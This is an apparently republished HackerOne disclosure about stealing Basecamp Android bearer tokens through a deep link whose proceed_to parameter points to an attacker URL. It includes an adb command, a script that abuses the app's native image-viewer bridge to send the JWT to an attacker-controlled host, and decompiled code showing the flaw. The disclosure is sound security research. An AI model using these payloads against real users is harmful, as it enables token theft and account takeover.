HexBrain

Basecamp · Report #1372667

Able to steal bearer token from deep link

Validstatus
highseverity
$6,337bounty
110upvotes
27 Mar 2022disclosed

How it was found

Pre-requisities

Prior to exploitation you would be required to know the "account id" of the user that you are attacking. Whilst this makes it difficult to attack an application in a generic way - the account is not secret information as it is included in any links to a user's basecamp organisation. E.g

https://3.basecamp.com/5218370/

Attack

The attack involves forcing the user to enter the application either by starting an intent from an application on the device already, or by triggering a deep link (which can be done by with e.g. a phishing email) . The link should be in this format:

https://3.basecamp.com/<accountId>/verify?proceed_to=<attacker controlled URL>

Here is a sample adb command that can be used to test the attack:

adb shell am start -n com.basecamp.bc3/com.basecamp.bc3.activities.BasecampUrlFilterActivity https://3.basecamp.com/5218370/verify?proceed_to=https://haystack-production-storage.s3.eu-west-2.amazonaws.com/attack.html

The second part of the attack involves redirecting someone using the turbo links API that is exposed through the javascript native bridge. Here is the example:

<script>NativeApp.openNativeImageViewer("[{'download_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'preview_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'caption':'ViewImage'}]", 0)</script>

This script executes 'openNativeImageViewer' and passes the download_url and preview_url. The preview_url is the most interesting, as it requires not user interaction. In order to render a preview image, the basecamp app sends the JWT header to the site, meaning that the 'preview_url' will receive that header.

Vulnerability

The clearest vulnerability is that the check to determine if a URL is an 'internal' URL allows it to by bypassed in a limited way by using the /verify? url along with a proceed_to that is attacker controlled.

if (TuroblinksUrlHandler.contains(url, "/verify?", true)) {
                C3982h.nullCheck(url, "$this$proceedToParam");
                C3982h.nullCheck(url, "$this$extractQueryParam");
                C3982h.nullCheck("proceed_to", "queryKey");
                String queryParameter = url.toUri().getQueryParameter("proceed_to");
                url = queryParameter != null ? UrlKt.parseUrl(queryParameter) : null;
                C3982h.nullCheck(url);
            }

 Intent intent10 = new Intent(context, WebViewActivity.class);
                    C1071a.addUrlsToIntent(url, intent10, "intentUrl", "intentApiUrl", null);
                    return intent10;

Impact

An attacker could, without physical access to the device, retrieve a user's authentication tokens. A potentially compounding factor is that once a user has been exploited, it might be possible to continue the chain of attack by having that compromised user share links with other users who trust links sent by the compromised user.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original